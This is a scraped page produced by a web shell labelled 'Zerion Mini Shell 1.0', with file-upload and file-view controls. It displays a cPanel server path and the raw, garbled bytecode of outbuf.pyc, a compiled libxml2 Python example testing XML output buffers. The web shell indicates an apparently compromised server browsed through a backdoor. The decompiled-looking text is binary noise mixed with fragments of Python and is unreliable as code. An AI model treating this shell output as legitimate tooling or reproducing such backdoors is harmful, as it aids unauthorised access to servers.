ok

Mini Shell

Direktori : /opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/
Upload File :
Current File : //opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyc

�
[��ec@s�ddlZddlZddlZyddlZejZWnddlZejZnXd�Zd�Zd�Zd�Z	e
dkr�ejd�e�e�e�e	�ej�ejd�dkr�d	GHq�d
ejd�GHndS(i����NcCsmt�}tj|d�}|jdd�|jd�|j�|j�dkridGHtjd�ndS(Ns
ISO-8859-1itfootbartfoobarsFailed to save to StringIOi(	tstr_iotlibxml2tcreateOutputBuffertwritetwriteStringtclosetgetvaluetsystexit(tftbuf((sB/opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyttestSimpleBufferWritess	

cCs�d}d}t�}tj|d�}tj|�}|j|d�|j�|j�|kr�dGHdt|j��GHdt|�GHtj	d�ndS(	s*
    Regression test for bug #154294.
    s<foo>Hello</foo>s8<?xml version="1.0" encoding="UTF-8"?>
<foo>Hello</foo>
sUTF-8s xmlDoc.saveFileTo() call failed.s     got: %ssexpected: %siN(
RRRtparseDoct
saveFileTotfreeDocR	treprR
R(tinputtexpectedRR
tdoc((sB/opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyttestSaveDocToBuffers	
cCs�d}d
}tj|�}x�dD]�}t�}tj|d�}|j|d|�|j�||kr"dGHdt|j��GHd	t||�GHtjd�q"q"W|j	�dS(Ns/<outer><inner>Some text</inner><inner/></outer>sW<?xml version="1.0" encoding="UTF-8"?>
<outer><inner>Some text</inner><inner/></outer>
s^<?xml version="1.0" encoding="UTF-8"?>
<outer>
  <inner>Some text</inner>
  <inner/>
</outer>
iisUTF-8s&xmlDoc.saveFormatFileTo() call failed.s     got: %ssexpected: %s(sW<?xml version="1.0" encoding="UTF-8"?>
<outer><inner>Some text</inner><inner/></outer>
s^<?xml version="1.0" encoding="UTF-8"?>
<outer>
  <inner>Some text</inner>
  <inner/>
</outer>
(ii(
RRRRtsaveFormatFileToR	RR
RR(RRRtiRR
((sB/opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyttestSaveFormattedDocToBuffer+s
	cCsd}d}t�}tj|�}tj|d�}|j|d�|j�|kr�dGHdt|j��GHdt|�GHtjd�nt�}tj|d�}|j	|dd�|j�|kr
dGHdt|j��GHdt|�GHtjd�n|j
�d	S(
s�
    Similar to the previous two tests, except this time we invoke the save
    methods on the output buffer object and pass in an XML node object.
    s<foo>Hello</foo>s8<?xml version="1.0" encoding="UTF-8"?>
<foo>Hello</foo>
sUTF-8s&outputBuffer.saveFileTo() call failed.s     got: %ssexpected: %sis,outputBuffer.saveFormatFileTo() call failed.N(RRRRRR	RR
RRR(RRRRR
((sB/opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyttestSaveIntoOutputBufferDs(		t__main__iitOKsMemory leak %d bytes(
R
t
setup_testRtStringIORtioRRRRt__name__tdebugMemoryt
cleanupParser(((sB/opt/cpanel/ea-libxml2/share/doc/libxml2/python/examples/outbuf.pyt<module>s,

				



Zerion Mini Shell 1.0